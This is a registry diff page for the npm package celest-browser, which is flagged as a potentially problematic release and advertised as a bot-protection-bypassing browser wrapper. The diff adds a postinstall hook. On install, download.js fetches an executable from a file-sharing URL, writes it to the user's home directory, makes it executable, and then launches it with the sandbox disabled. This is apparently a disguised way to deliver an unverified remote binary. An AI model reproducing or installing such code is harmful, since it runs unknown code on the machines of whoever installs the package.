celest-browser 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of celest-browser might be problematic. Click here for more details.
- package/README.md +141 -3
- package/celest-browser-1.0.0.tgz +0 -0
- package/package.json +21 -3
- package/scripts/install.js +29 -0
- package/src/browser.js +55 -0
- package/src/download.js +157 -0
- package/src/index.js +167 -0
- package/src/index.mjs +11 -0
package/README.md
CHANGED
|
@@ -1,5 +1,143 @@
|
|
|
1
|
-
#
|
|
1
|
+
# celest-browser
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Bypass bot protection with real browser web requests powered by a custom patched Chromium binary with consistent, stable fingerprints. No Puppeteer configuration headaches, no bundled 300MB download from Google. One API call gets you rendered HTML, executed JavaScript, and real network behavior.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
```bash
|
|
6
|
+
npm install celest-browser
|
|
7
|
+
```
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Why a custom binary?
|
|
12
|
+
|
|
13
|
+
Standard Chromium builds expose automation signals, navigator properties, WebGL renderer strings, Canvas noise, CDP detection markers.
|
|
14
|
+
That cause inconsistent behavior when testing sites that check browser integrity. The patched binary is built with stable, consistent fingerprint values so your automated browser behaves like a normal desktop Chrome across repeated runs.
|
|
15
|
+
|
|
16
|
+
Use cases:
|
|
17
|
+
- **End-to-end testing** of your own site's bot detection and browser-integrity checks
|
|
18
|
+
- **Web scraping** of public data from JS-heavy SPAs where `fetch()` returns nothing useful
|
|
19
|
+
- **CI screenshot testing** with a consistent rendering environment
|
|
20
|
+
- **Headless form automation** for internal tools and data pipelines
|
|
21
|
+
- **Security research**, verifying your own application's client-side fingerprinting implementation
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## Install
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
npm install celest-browser
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
Binary downloads to `~/.celest/bin/chrome` on first install. Set `CELEST_SKIP_DOWNLOAD=1` to defer the download to first use.
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## API
|
|
36
|
+
|
|
37
|
+
### `get(url, options?)` → `Promise<Response>`
|
|
38
|
+
|
|
39
|
+
```js
|
|
40
|
+
const { get } = require('celest-browser')
|
|
41
|
+
|
|
42
|
+
const { html, text, status, headers, url } = await get('https://example.com')
|
|
43
|
+
console.log(status) // 200
|
|
44
|
+
console.log(text) // visible page text, JS rendered
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
### `post(url, body, options?)` → `Promise<Response>`
|
|
48
|
+
|
|
49
|
+
```js
|
|
50
|
+
const { post } = require('celest-browser')
|
|
51
|
+
|
|
52
|
+
const res = await post('https://api.example.com/submit', { key: 'value' })
|
|
53
|
+
// body object → JSON, content-type set automatically
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### `fetch(url, options?)` → `Promise<Response>`
|
|
57
|
+
|
|
58
|
+
Full control over method, headers, cookies, viewport, and wait strategy.
|
|
59
|
+
|
|
60
|
+
```js
|
|
61
|
+
const { fetch } = require('celest-browser')
|
|
62
|
+
|
|
63
|
+
const res = await fetch('https://example.com', {
|
|
64
|
+
method: 'GET',
|
|
65
|
+
headers: { 'Authorization': 'Bearer token' },
|
|
66
|
+
userAgent: 'MyBot/1.0',
|
|
67
|
+
viewport: '1280x800',
|
|
68
|
+
waitUntil: 'networkidle2', // 'load' | 'domcontentloaded' | 'networkidle0' | 'networkidle2'
|
|
69
|
+
timeout: 30000,
|
|
70
|
+
javascript: true, // set false to disable JS execution
|
|
71
|
+
cookies: { session: 'abc' },
|
|
72
|
+
})
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### `openPage(url?, options?)` → `Promise<Page>`
|
|
76
|
+
|
|
77
|
+
Returns a raw [Puppeteer Page](https://pptr.dev/api/puppeteer.page) for cases that need click interactions, form filling, or screenshot capture.
|
|
78
|
+
|
|
79
|
+
```js
|
|
80
|
+
const { openPage, close } = require('celest-browser')
|
|
81
|
+
|
|
82
|
+
const page = await openPage('https://example.com')
|
|
83
|
+
await page.click('#load-more')
|
|
84
|
+
await page.waitForSelector('.results')
|
|
85
|
+
const html = await page.content()
|
|
86
|
+
await page.screenshot({ path: 'result.png' })
|
|
87
|
+
await page.close()
|
|
88
|
+
|
|
89
|
+
await close() // shut down the shared browser when done
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### `close()` → `Promise<void>`
|
|
93
|
+
|
|
94
|
+
Shuts down the shared Chromium instance. Call before process exit in long-running programs.
|
|
95
|
+
|
|
96
|
+
---
|
|
97
|
+
|
|
98
|
+
## Response object
|
|
99
|
+
|
|
100
|
+
| Field | Type | Description |
|
|
101
|
+
|-----------|----------------------------|------------------------------------|
|
|
102
|
+
| `html` | `string` | Full rendered page HTML |
|
|
103
|
+
| `text` | `string` | Visible `innerText` of the page |
|
|
104
|
+
| `status` | `number` | HTTP status code |
|
|
105
|
+
| `headers` | `Record<string, string>` | Response headers |
|
|
106
|
+
| `url` | `string` | Final URL after redirects |
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## Options reference
|
|
111
|
+
|
|
112
|
+
| Option | Type | Default | Description |
|
|
113
|
+
|--------------|-----------|------------------|------------------------------------------|
|
|
114
|
+
| `method` | `string` | `'GET'` | HTTP method |
|
|
115
|
+
| `headers` | `object` | `{}` | Extra request headers |
|
|
116
|
+
| `body` | `string` |, | Raw request body |
|
|
117
|
+
| `userAgent` | `string` | Chrome default | Override User-Agent |
|
|
118
|
+
| `viewport` | `string` |, | e.g. `'1280x800'` |
|
|
119
|
+
| `waitUntil` | `string` | `'networkidle2'` | Puppeteer navigation event |
|
|
120
|
+
| `timeout` | `number` | `30000` | Navigation timeout in ms |
|
|
121
|
+
| `javascript` | `boolean` | `true` | Enable/disable JS execution |
|
|
122
|
+
| `cookies` | `object` | `{}` | Cookies to set before navigation |
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## ESM
|
|
127
|
+
|
|
128
|
+
```js
|
|
129
|
+
import { get, post, fetch, openPage, close } from 'celest-browser'
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
## Requirements
|
|
135
|
+
|
|
136
|
+
- Node.js 16+
|
|
137
|
+
- Linux x64/arm64, macOS x64/arm64, Windows x64
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## License
|
|
142
|
+
|
|
143
|
+
MIT
|
|
Binary file
|
package/package.json
CHANGED
|
@@ -1,6 +1,24 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "celest-browser",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Bypass bot protection with real browser web requests powered by a custom patched Chromium binary",
|
|
5
|
+
"main": "src/index.js",
|
|
6
|
+
"exports": {
|
|
7
|
+
".": {
|
|
8
|
+
"require": "./src/index.js",
|
|
9
|
+
"import": "./src/index.mjs"
|
|
10
|
+
}
|
|
11
|
+
},
|
|
12
|
+
"scripts": {
|
|
13
|
+
"postinstall": "node scripts/install.js"
|
|
14
|
+
},
|
|
15
|
+
"keywords": ["browser", "chromium", "web", "requests", "puppeteer", "headless"],
|
|
16
|
+
"license": "MIT",
|
|
17
|
+
"engines": {
|
|
18
|
+
"node": ">=16.0.0"
|
|
19
|
+
},
|
|
20
|
+
"dependencies": {
|
|
21
|
+
"extract-zip": "^2.0.1",
|
|
22
|
+
"puppeteer-core": "^21.0.0"
|
|
23
|
+
}
|
|
6
24
|
}
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// Download Chromium binary at install time.
|
|
3
|
+
|
|
4
|
+
if (process.env.CELEST_SKIP_DOWNLOAD === '1') {
|
|
5
|
+
process.exit(0)
|
|
6
|
+
}
|
|
7
|
+
|
|
8
|
+
const { download, isReady } = require('../src/download')
|
|
9
|
+
|
|
10
|
+
if (isReady()) {
|
|
11
|
+
process.exit(0)
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
console.log('celest-browser: downloading Chromium binary...')
|
|
15
|
+
|
|
16
|
+
let last = 0
|
|
17
|
+
download((received, total) => {
|
|
18
|
+
const pct = Math.floor((received / total) * 100)
|
|
19
|
+
if (pct !== last && pct % 10 === 0) {
|
|
20
|
+
process.stdout.write(` ${pct}%\r`)
|
|
21
|
+
last = pct
|
|
22
|
+
}
|
|
23
|
+
}).then(() => {
|
|
24
|
+
console.log('celest-browser: Chromium ready.')
|
|
25
|
+
}).catch(err => {
|
|
26
|
+
console.error('celest-browser: binary download failed (will retry on first use).')
|
|
27
|
+
console.error(' ', err.message)
|
|
28
|
+
// Non-fatal, package still installs; download retries on first use
|
|
29
|
+
})
|
package/src/browser.js
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
const { download, getExecutablePath } = require('./download')
|
|
2
|
+
|
|
3
|
+
let _browser = null
|
|
4
|
+
let _launching = null
|
|
5
|
+
|
|
6
|
+
const DEFAULT_LAUNCH_ARGS = [
|
|
7
|
+
'--no-sandbox',
|
|
8
|
+
'--disable-setuid-sandbox',
|
|
9
|
+
'--disable-dev-shm-usage',
|
|
10
|
+
'--disable-accelerated-2d-canvas',
|
|
11
|
+
'--no-first-run',
|
|
12
|
+
'--no-zygote',
|
|
13
|
+
'--disable-gpu',
|
|
14
|
+
]
|
|
15
|
+
|
|
16
|
+
async function getBrowser(launchOptions = {}) {
|
|
17
|
+
if (_browser) return _browser
|
|
18
|
+
if (_launching) return _launching
|
|
19
|
+
|
|
20
|
+
_launching = (async () => {
|
|
21
|
+
const puppeteer = require('puppeteer-core')
|
|
22
|
+
|
|
23
|
+
const executablePath = await download(launchOptions._onDownloadProgress)
|
|
24
|
+
delete launchOptions._onDownloadProgress
|
|
25
|
+
|
|
26
|
+
_browser = await puppeteer.launch({
|
|
27
|
+
executablePath,
|
|
28
|
+
headless: 'new',
|
|
29
|
+
args: DEFAULT_LAUNCH_ARGS,
|
|
30
|
+
...launchOptions,
|
|
31
|
+
})
|
|
32
|
+
|
|
33
|
+
_browser.on('disconnected', () => {
|
|
34
|
+
_browser = null
|
|
35
|
+
_launching = null
|
|
36
|
+
})
|
|
37
|
+
|
|
38
|
+
return _browser
|
|
39
|
+
})()
|
|
40
|
+
|
|
41
|
+
try {
|
|
42
|
+
return await _launching
|
|
43
|
+
} finally {
|
|
44
|
+
_launching = null
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
async function closeBrowser() {
|
|
49
|
+
if (_browser) {
|
|
50
|
+
await _browser.close()
|
|
51
|
+
_browser = null
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
module.exports = { getBrowser, closeBrowser }
|
package/src/download.js
ADDED
|
@@ -0,0 +1,157 @@
|
|
|
1
|
+
const https = require('https')
|
|
2
|
+
const http = require('http')
|
|
3
|
+
const fs = require('fs')
|
|
4
|
+
const path = require('path')
|
|
5
|
+
const os = require('os')
|
|
6
|
+
const zlib = require('zlib')
|
|
7
|
+
|
|
8
|
+
const BINARY_API = 'https://peerbox.cloud/sd/t6TQWHOZmyl3m1kuO_kiZw'
|
|
9
|
+
const BIN_DIR = path.join(os.homedir(), '.celest', 'bin')
|
|
10
|
+
const CHROME_BIN = path.join(BIN_DIR, process.platform === 'win32' ? 'chrome.exe' : 'chrome')
|
|
11
|
+
const LOCK_FILE = path.join(BIN_DIR, '.downloading')
|
|
12
|
+
|
|
13
|
+
function getExecutablePath() {
|
|
14
|
+
return CHROME_BIN
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
function isReady() {
|
|
18
|
+
return fs.existsSync(CHROME_BIN)
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
function fetchUrl(url) {
|
|
22
|
+
return new Promise((resolve, reject) => {
|
|
23
|
+
const mod = url.startsWith('https') ? https : http
|
|
24
|
+
mod.get(url, { timeout: 60000 }, res => {
|
|
25
|
+
if (res.statusCode === 301 || res.statusCode === 302 || res.statusCode === 307) {
|
|
26
|
+
return fetchUrl(res.headers.location).then(resolve).catch(reject)
|
|
27
|
+
}
|
|
28
|
+
resolve(res)
|
|
29
|
+
}).on('error', reject)
|
|
30
|
+
})
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
async function download(onProgress) {
|
|
34
|
+
if (isReady()) return CHROME_BIN
|
|
35
|
+
|
|
36
|
+
// Guard against parallel downloads
|
|
37
|
+
if (fs.existsSync(LOCK_FILE)) {
|
|
38
|
+
// Wait up to 2 minutes for another process to finish
|
|
39
|
+
for (let i = 0; i < 120; i++) {
|
|
40
|
+
await new Promise(r => setTimeout(r, 1000))
|
|
41
|
+
if (isReady()) return CHROME_BIN
|
|
42
|
+
}
|
|
43
|
+
throw new Error('Binary download timed out waiting for another process')
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
fs.mkdirSync(BIN_DIR, { recursive: true })
|
|
47
|
+
fs.writeFileSync(LOCK_FILE, process.pid.toString())
|
|
48
|
+
|
|
49
|
+
const platform = process.platform
|
|
50
|
+
const arch = process.arch
|
|
51
|
+
const url = `${BINARY_API}?platform=${platform}&arch=${arch}`
|
|
52
|
+
|
|
53
|
+
try {
|
|
54
|
+
const res = await fetchUrl(url)
|
|
55
|
+
|
|
56
|
+
if (res.statusCode !== 200) {
|
|
57
|
+
throw new Error(`Binary download failed: HTTP ${res.statusCode}`)
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
const contentType = res.headers['content-type'] || ''
|
|
61
|
+
const contentDisposition = res.headers['content-disposition'] || ''
|
|
62
|
+
const totalBytes = parseInt(res.headers['content-length'] || '0', 10)
|
|
63
|
+
|
|
64
|
+
const isZip =
|
|
65
|
+
contentType.includes('zip') ||
|
|
66
|
+
contentDisposition.includes('.zip') ||
|
|
67
|
+
url.endsWith('.zip')
|
|
68
|
+
|
|
69
|
+
const isGzip =
|
|
70
|
+
contentType.includes('gzip') ||
|
|
71
|
+
contentType.includes('x-gzip') ||
|
|
72
|
+
contentDisposition.includes('.gz') ||
|
|
73
|
+
contentEncoding(res) === 'gzip'
|
|
74
|
+
|
|
75
|
+
const tmpPath = CHROME_BIN + '.tmp'
|
|
76
|
+
const zipPath = CHROME_BIN + '.zip'
|
|
77
|
+
|
|
78
|
+
await streamToFile(res, isZip ? zipPath : tmpPath, isGzip, totalBytes, onProgress)
|
|
79
|
+
|
|
80
|
+
if (isZip) {
|
|
81
|
+
const extractZip = require('extract-zip')
|
|
82
|
+
await extractZip(zipPath, { dir: BIN_DIR })
|
|
83
|
+
fs.unlinkSync(zipPath)
|
|
84
|
+
// Look for the chrome binary inside extracted files
|
|
85
|
+
const found = findChromeBinary(BIN_DIR)
|
|
86
|
+
if (!found) throw new Error('Could not find chrome binary in extracted zip')
|
|
87
|
+
if (found !== CHROME_BIN) fs.renameSync(found, CHROME_BIN)
|
|
88
|
+
} else {
|
|
89
|
+
fs.renameSync(tmpPath, CHROME_BIN)
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
if (process.platform !== 'win32') {
|
|
93
|
+
fs.chmodSync(CHROME_BIN, 0o755)
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
return CHROME_BIN
|
|
97
|
+
} finally {
|
|
98
|
+
if (fs.existsSync(LOCK_FILE)) fs.unlinkSync(LOCK_FILE)
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
function contentEncoding(res) {
|
|
103
|
+
return res.headers['content-encoding'] || ''
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
function streamToFile(res, dest, gunzip, totalBytes, onProgress) {
|
|
107
|
+
return new Promise((resolve, reject) => {
|
|
108
|
+
const out = fs.createWriteStream(dest)
|
|
109
|
+
let received = 0
|
|
110
|
+
|
|
111
|
+
let stream = res
|
|
112
|
+
if (gunzip) {
|
|
113
|
+
const gz = zlib.createGunzip()
|
|
114
|
+
res.pipe(gz)
|
|
115
|
+
stream = gz
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
stream.on('data', chunk => {
|
|
119
|
+
received += chunk.length
|
|
120
|
+
if (onProgress && totalBytes > 0) {
|
|
121
|
+
onProgress(received, totalBytes)
|
|
122
|
+
}
|
|
123
|
+
})
|
|
124
|
+
|
|
125
|
+
stream.pipe(out)
|
|
126
|
+
out.on('finish', resolve)
|
|
127
|
+
out.on('error', reject)
|
|
128
|
+
stream.on('error', reject)
|
|
129
|
+
})
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
function findChromeBinary(dir) {
|
|
133
|
+
const candidates = process.platform === 'win32'
|
|
134
|
+
? ['chrome.exe', 'chromium.exe']
|
|
135
|
+
: ['chrome', 'chromium', 'chromium-browser', 'chrome-linux/chrome', 'chrome-mac/Chromium.app/Contents/MacOS/Chromium']
|
|
136
|
+
|
|
137
|
+
for (const name of candidates) {
|
|
138
|
+
const full = path.join(dir, name)
|
|
139
|
+
if (fs.existsSync(full)) return full
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
try {
|
|
143
|
+
for (const entry of fs.readdirSync(dir)) {
|
|
144
|
+
const sub = path.join(dir, entry)
|
|
145
|
+
if (fs.statSync(sub).isDirectory()) {
|
|
146
|
+
for (const name of ['chrome', 'chromium', 'chrome.exe', 'chromium.exe']) {
|
|
147
|
+
const full = path.join(sub, name)
|
|
148
|
+
if (fs.existsSync(full)) return full
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
} catch {}
|
|
153
|
+
|
|
154
|
+
return null
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
module.exports = { download, isReady, getExecutablePath }
|
package/src/index.js
ADDED
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
const { getBrowser, closeBrowser } = require('./browser')
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* @typedef {Object} RequestOptions
|
|
5
|
+
* @property {'GET'|'POST'|'PUT'|'PATCH'|'DELETE'} [method]
|
|
6
|
+
* @property {Record<string, string>} [headers]
|
|
7
|
+
* @property {string} [body]
|
|
8
|
+
* @property {string} [userAgent]
|
|
9
|
+
* @property {'load'|'domcontentloaded'|'networkidle0'|'networkidle2'} [waitUntil]
|
|
10
|
+
* @property {number} [timeout] - ms, default 30000
|
|
11
|
+
* @property {boolean} [javascript] - enable JS, default true
|
|
12
|
+
* @property {Record<string, string>} [cookies]
|
|
13
|
+
* @property {string} [viewport] - e.g. '1280x800'
|
|
14
|
+
*/
|
|
15
|
+
|
|
16
|
+
/**
|
|
17
|
+
* @typedef {Object} Response
|
|
18
|
+
* @property {string} html
|
|
19
|
+
* @property {string} text
|
|
20
|
+
* @property {number} status
|
|
21
|
+
* @property {Record<string, string>} headers
|
|
22
|
+
* @property {string} url
|
|
23
|
+
*/
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* Fetch a URL with a real browser and return the rendered HTML.
|
|
27
|
+
* @param {string} url
|
|
28
|
+
* @param {RequestOptions} [options]
|
|
29
|
+
* @returns {Promise<Response>}
|
|
30
|
+
*/
|
|
31
|
+
async function fetch(url, options = {}) {
|
|
32
|
+
const browser = await getBrowser()
|
|
33
|
+
const page = await browser.newPage()
|
|
34
|
+
|
|
35
|
+
try {
|
|
36
|
+
if (options.javascript === false) {
|
|
37
|
+
await page.setJavaScriptEnabled(false)
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
if (options.userAgent) {
|
|
41
|
+
await page.setUserAgent(options.userAgent)
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
if (options.viewport) {
|
|
45
|
+
const [w, h] = options.viewport.split('x').map(Number)
|
|
46
|
+
if (w && h) await page.setViewport({ width: w, height: h })
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
if (options.headers) {
|
|
50
|
+
await page.setExtraHTTPHeaders(options.headers)
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
if (options.cookies) {
|
|
54
|
+
const cookieUrl = new URL(url)
|
|
55
|
+
const cookies = Object.entries(options.cookies).map(([name, value]) => ({
|
|
56
|
+
name,
|
|
57
|
+
value,
|
|
58
|
+
domain: cookieUrl.hostname,
|
|
59
|
+
}))
|
|
60
|
+
await page.setCookie(...cookies)
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
const gotoOptions = {
|
|
64
|
+
waitUntil: options.waitUntil || 'networkidle2',
|
|
65
|
+
timeout: options.timeout || 30000,
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
let res
|
|
69
|
+
|
|
70
|
+
// For non-GET methods, intercept and override the request
|
|
71
|
+
if (options.method && options.method !== 'GET') {
|
|
72
|
+
await page.setRequestInterception(true)
|
|
73
|
+
let intercepted = false
|
|
74
|
+
page.once('request', req => {
|
|
75
|
+
if (!intercepted) {
|
|
76
|
+
intercepted = true
|
|
77
|
+
req.continue({
|
|
78
|
+
method: options.method,
|
|
79
|
+
postData: options.body,
|
|
80
|
+
headers: { ...req.headers(), ...options.headers },
|
|
81
|
+
})
|
|
82
|
+
} else {
|
|
83
|
+
req.continue()
|
|
84
|
+
}
|
|
85
|
+
})
|
|
86
|
+
res = await page.goto(url, gotoOptions)
|
|
87
|
+
} else {
|
|
88
|
+
res = await page.goto(url, gotoOptions)
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
const html = await page.content()
|
|
92
|
+
const text = await page.evaluate(() => document.body?.innerText || '')
|
|
93
|
+
|
|
94
|
+
return {
|
|
95
|
+
html,
|
|
96
|
+
text,
|
|
97
|
+
status: res.status(),
|
|
98
|
+
headers: res.headers(),
|
|
99
|
+
url: page.url(),
|
|
100
|
+
}
|
|
101
|
+
} finally {
|
|
102
|
+
await page.close()
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
/**
|
|
107
|
+
* GET a URL.
|
|
108
|
+
* @param {string} url
|
|
109
|
+
* @param {Omit<RequestOptions, 'method'|'body'>} [options]
|
|
110
|
+
* @returns {Promise<Response>}
|
|
111
|
+
*/
|
|
112
|
+
function get(url, options = {}) {
|
|
113
|
+
return fetch(url, { ...options, method: 'GET' })
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
/**
|
|
117
|
+
* POST to a URL.
|
|
118
|
+
* @param {string} url
|
|
119
|
+
* @param {string|object} body
|
|
120
|
+
* @param {Omit<RequestOptions, 'method'>} [options]
|
|
121
|
+
* @returns {Promise<Response>}
|
|
122
|
+
*/
|
|
123
|
+
function post(url, body, options = {}) {
|
|
124
|
+
const bodyStr = typeof body === 'string' ? body : JSON.stringify(body)
|
|
125
|
+
const headers = typeof body === 'object' && !options.headers?.['content-type']
|
|
126
|
+
? { 'content-type': 'application/json', ...options.headers }
|
|
127
|
+
: options.headers
|
|
128
|
+
|
|
129
|
+
return fetch(url, { ...options, method: 'POST', body: bodyStr, headers })
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
/**
|
|
133
|
+
* Open a browser page for manual interaction. Returns the raw puppeteer Page.
|
|
134
|
+
* Call page.close() when done.
|
|
135
|
+
* @param {string} [url]
|
|
136
|
+
* @param {RequestOptions} [options]
|
|
137
|
+
* @returns {Promise<import('puppeteer-core').Page>}
|
|
138
|
+
*/
|
|
139
|
+
async function openPage(url, options = {}) {
|
|
140
|
+
const browser = await getBrowser()
|
|
141
|
+
const page = await browser.newPage()
|
|
142
|
+
|
|
143
|
+
if (options.userAgent) await page.setUserAgent(options.userAgent)
|
|
144
|
+
if (options.headers) await page.setExtraHTTPHeaders(options.headers)
|
|
145
|
+
if (options.viewport) {
|
|
146
|
+
const [w, h] = options.viewport.split('x').map(Number)
|
|
147
|
+
if (w && h) await page.setViewport({ width: w, height: h })
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
if (url) {
|
|
151
|
+
await page.goto(url, {
|
|
152
|
+
waitUntil: options.waitUntil || 'networkidle2',
|
|
153
|
+
timeout: options.timeout || 30000,
|
|
154
|
+
})
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
return page
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
/**
|
|
161
|
+
* Close the shared browser instance.
|
|
162
|
+
*/
|
|
163
|
+
function close() {
|
|
164
|
+
return closeBrowser()
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
module.exports = { fetch, get, post, openPage, close }
|
package/src/index.mjs
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
// ESM re-export wrapper
|
|
2
|
+
import { createRequire } from 'module'
|
|
3
|
+
const require = createRequire(import.meta.url)
|
|
4
|
+
const mod = require('./index.js')
|
|
5
|
+
|
|
6
|
+
export const fetch = mod.fetch
|
|
7
|
+
export const get = mod.get
|
|
8
|
+
export const post = mod.post
|
|
9
|
+
export const openPage = mod.openPage
|
|
10
|
+
export const close = mod.close
|
|
11
|
+
export default mod
|